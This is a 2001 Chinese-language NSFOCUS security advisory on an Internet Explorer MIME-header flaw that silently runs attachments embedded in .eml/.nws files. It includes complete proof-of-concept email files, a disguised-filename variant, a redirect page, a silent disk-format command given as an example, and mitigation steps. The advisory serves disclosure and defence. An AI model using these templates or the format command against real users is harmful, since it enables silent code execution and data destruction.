首页 -> 安全研究
安全研究
安全漏洞
微软IE异常处理MIME头漏洞
发布日期:2001-04-09
更新日期:2001-04-09
受影响系统:
不受影响系统:
Microsoft Internet Explorer 5.5
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
Microsoft Internet Explorer 5.01
+ Microsoft Windows 98
+ Microsoft Windows 95
+ Microsoft Windows NT 4.0
+ Microsoft Windows 2000
Microsoft Internet Explorer 5.0
+ Microsoft Windows 98
描述:
Microsoft Internet Explorer 5.0.1SP2
+ Microsoft Windows 98
+ Microsoft Windows 95
+ Microsoft Windows NT 4.0
+ Microsoft Windows 2000
根据最新BugTraq报告,微软的IE浏览器被再次发现存在重大安全缺陷。简单来说,
IE在处理MIME头中"Content-Type:"处指定的某些类型时,存在问题,攻击者可以利
用这类缺陷在IE客户端执行任意命令。
报告出来的问题有两个。第一个问题参看如下例子,把下列内容存为"test.eml"。
<------------------cut here--------------------->
From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
HELLO MY FRIEND!!!<BR>
</BODY>
</HTML>
--2--
--1
Content-Type: audio/x-wav;
name="hello.bat"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>
echo OFF
dir *.*
--1
<------------------cut here--------------------->
注意最后一个"Content-Type: audio/x-wav;"。
如果在资源管理器中双击打开这个文件,由于很多情况下"eml"扩展名和微软的
Outlook/Outlook Express关联,将调用它们解释"test.eml"。由于这封邮件是HTML
格式的,Outlook/Outlook Express最终调用IE来解释它。IE根据邮件内容中MIME设
置,解析出附件。一般情况下,即使有附件也不会自动下载。如果做了某些设置使得
某些类型的附件会自动下载,也将提示有附件需要下载,用户选择直接打开还是保存。
但是IE在解释上述邮件的时候,由于未能正确处理"Content-Type: audio/x-wav;",
导致附件"hello.bat"自动下载,而且更为严重的是下载结束后自动打开"hello.bat",
整个过程中并不提示用户。上述例子中就是最终执行了"dir *.*"。如果从WEB页面上
访问这个eml文件,比如http://<target>/test.eml,同样自动下载并无提示执行
"hello.bat"。
注意,上述问题和eml扩展名是否和Outlook/Outlook Express关联无关。假设eml扩
展名和NotePad相关联,在资源管理器中双击"test.eml"将调出记事本,无法有效激
发漏洞,此时可以用IE指定以WEB方式打开"test.eml",同样存在该问题。彻底删除
eml扩展名的所有关联对解决漏洞并无帮助。问题最终发生在IE以HTML格式解释eml文
件的时候。
值得提醒大家的是,如果选择采用WEB方式使用资源管理器,而所浏览的目录里存在
攻击性eml文件的话,攻击仍然成立,进入该目录的时候,即使没有选择打开eml文件,
IE同样立即解释eml文件,攻击开始。建议在问题真正解决之前采用传统方式使用资
源管理器。
目前测试结果表明,IE在解释扩展名为eml、nws的文件时,都存在上述问题,把
"test.eml"更名为"test.nws",前述现象一致。尚未发现IE在解释其他扩展名的文件
时有何缺陷,如果演示用eml文件的扩展名被修改成非eml、非nws,即使强行指定IE
打开该文件,也不会触发漏洞。
正常情况下无法发送上述邮件或者新闻,可以自己编程发送或者利用某些现成工具发
送。也可以将这样的eml、nws文件放置在WEB主机上,利用各种URL转向技术,使远程
用户的IE浏览器最终访问攻击性eml、nws文件,从而达到攻击目的,比如这样一个
index.html文件:
<------------------cut here--------------------->
<HTML>
<meta http-equiv="refresh" content="0;url=http://<target>/attack.eml">
</HTML>
<------------------cut here--------------------->
本漏洞的最初报告人在http://www.kriptopolis.com/cua/eml.html上提供了如下三
个演示eml:
http://www.terra.es/personal/cuartango/cmd.eml
http://www.terra.es/personal/cuartango/vbs.eml
http://www.terra.es/personal/cuartango/exe.eml?
分别演示了直接执行BAT文件、执行VB SCRIPT、执行EXE文件的三种情况。
第一个问题的危害是明显的,攻击者潜在可以造成任意破坏。下述命令
"format d: /q /u /autotest"将在不提示用户的情况下直接快速格式化掉D盘。可以
简单更改format、deletetree、fdisk、debug、move等外部命令,修改command.com
或者cmd.exe支持的危险内部命令名,比如del、rmdir、rd、erase。还可以修改BAT
文件的关联,使得BAT文件的缺省动作是用NotePad打开,而非执行(如果熟悉注册表,
直接修改即可,如果不熟悉,可以利用其他工具软件修改,比如"魔法设置")。如果
是NT、2K的用户,应该仔细设置NTFS文件系统保护,减少超级用户登录,以部分阻止
恶性破坏。但是这些措施并不能真正有效防止攻击,第二、第三种演示攻击仍将有效。
尤其是第三种演示,作者采用BASE64编码将一个可执行文件直接附带进来,不需要利
用本地文件系统的已有文件。有些用户的本地设置拒绝执行非WIN32程序,可以适度
减少破坏。理论上攻击者可以采用BASE64编码将任意WIN32程序附带进来,比如一个
木马程序,所以这种设置同样没有从本质上解决问题。
可以使用非IE的工具(Netscape、netants、wget等等)下载如上演示eml文件。
微软提供了针对第一个问题的解决方案,参看如下链接了解更多细节和讨论:
http://www.microsoft.com/technet/security/bulletin/MS01-020.asp
由于某种原因,这个补丁并未从根本上解决问题所在,临时推荐做如下操作:
1. 选择IE属性/选项
2. 进入安全设置页
3. 调整"中级安全级别"到"自定义安全级别"
4. 禁止"文件下载"
做了如上建议操作之后,IE浏览器中右键菜单"目标另存为"将失效,但不影响蚂蚁等
工具的下载操作。此时访问攻击性eml、nws文件,将提示"当前安全设置禁止文件下
载"。这种解决方案虽然带来使用中不必要的麻烦,但暂时杜绝了破坏。缺省情况下,
"中级安全级别"中允许"文件下载"。建议在本问题彻底根除之前,对于
"本地Intranet区域"、"可信任区域"使用"高级安全级别",防止以WEB方式使用资源
管理器时触发漏洞攻击。
第二个问题参看如下例子,把下列内容存为"fake.eml"。
<------------------cut here--------------------->
From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:readme.txt height=3D0 width=3D0></iframe>
Will I show you a txt file ? <BR>
</BODY>
</HTML>
--2--
--1
Content-Type: audio/x-wav;
name="hello.bat"
Content-Transfer-Encoding: quoted-printable
Content-ID: <readme.txt>
echo OFF
dir C:\
echo YOUR SYSTEM HAS A VULNERABILITY
pause
--1
<------------------cut here--------------------->
与第一个问题相比,主要区别在于最后的"Content-ID: <readme.txt>"。即使IE在解
释"fake.eml"的时候开始提示用户,也将提示是否打开/保存"readme.txt",而不是
真正的"hello.bat",如果用户选择打开,"hello.bat"被执行。微软提供的补丁未能
解决第二个问题。我们所能做的建议是,永远不直接从IE浏览器中选择打开文件,并
且设置资源管理器成"始终显示扩展名"。有些扩展名的文件属性里,缺省设置是"下
载后确认打开",安全起见,一律取消这个设置。
本漏洞的最初报告人在http://www.kriptopolis.com/cua/eml2.html上提供了如下演
示eml:
http://www.terra.es/personal/cuartango/readme.eml
根据BugTraq MailList上的讨论,不限于"Content-Type: audio/x-wav;"这种类型。
到底有多少足以引发该漏洞的类型,尚未得到确切报告,至少在讨论中提到
"Content-Type: application/x-shockwave-flash;"这种类型也可以引发该漏洞:
<------------------cut here--------------------->
Content-Type: application/x-shockwave-flash;
name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <donthurtme.pdf>
msgbox("Hello")
<------------------cut here--------------------->
如果用户安装了媒体播放器7.0,并且将".wav"扩展名关联到媒体播放器7.0,则前述
使用了"Content-Type: audio/x-wav;"这种类型的演示eml文件将失效。如果在安装
媒体播放器7.0过程中没有关联".wav"扩展名,演示仍然有效。注意,一旦媒体播放
器7.0关联过".wav"扩展名,即便后来取消这种关联,前述使用
"Content-Type: audio/x-wav;"这种类型的演示eml文件将失效。
IE浏览器和Outlook/Outlook Express存在很多其他已知安全漏洞,参看相关链接:
http://security.nsfocus.com/showQuery.asp?bugID=694
http://security.nsfocus.com/showQuery.asp?bugID=695
http://security.nsfocus.com/showQuery.asp?bugID=939
http://www.kriptopolis.com/cua/20010404.html
http://www.guninski.com/javaea.html
http://www.guninski.com/javaea1.html
http://www.guninski.com/javaea2.html
http://www.guninski.com/javacodebase1.html
不建议使用微软的IE浏览器访问WEB页面。即使使用IE,也应该最大限度限制ActiveX、
Java、Java Script、VB Script等特性的使用。即使上述特性全部被禁止,这次的漏
洞仍然有效,务必注意到这点。
关于MIME的知识,参看如下链接:
http://class.gzrail.net/read.php?classid=92
<* 来源:Juan Carlos Garcia Cuartango (cuartango@terra.es) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
参看漏洞描述
http://www.kriptopolis.com/cua/eml.html
http://www.kriptopolis.com/cua/eml2.html
建议:
微软本来在如下链接
http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp
提供了针对第一个问题的补丁,但是由于第二个问题的引入,某些平台版本的补
丁停止下载。微软尚未推出彻底解决问题的最新补丁。
不同版本操作系统平台、不同的本地安全设置以及不同的应用软件安装将导致不
同的演示效果。不能因为暂时没有触发漏洞而侥幸认为自己不存在该漏洞,该漏
洞的危害性非常巨大。
NsFocus强烈建议在微软最新补丁推出之前尽量避免、减少使用IE浏览器和
Outlook/Outlook Express访问WEB页面、收发电子邮件、访问新闻组。
针对IE浏览器和资源管理器,建议禁止"文件下载"、禁止以WEB方式使用资源管
理器、最大限度禁止活动内容特性、设置资源管理器成"始终显示扩展名"、永远
不直接从IE浏览器中选择打开文件、取消"下载后确认打开"这种扩展名属性设置。
其他建议参看漏洞描述。
浏览次数:4978
严重程度:0(网友投票)
绿盟科技给您安全的保障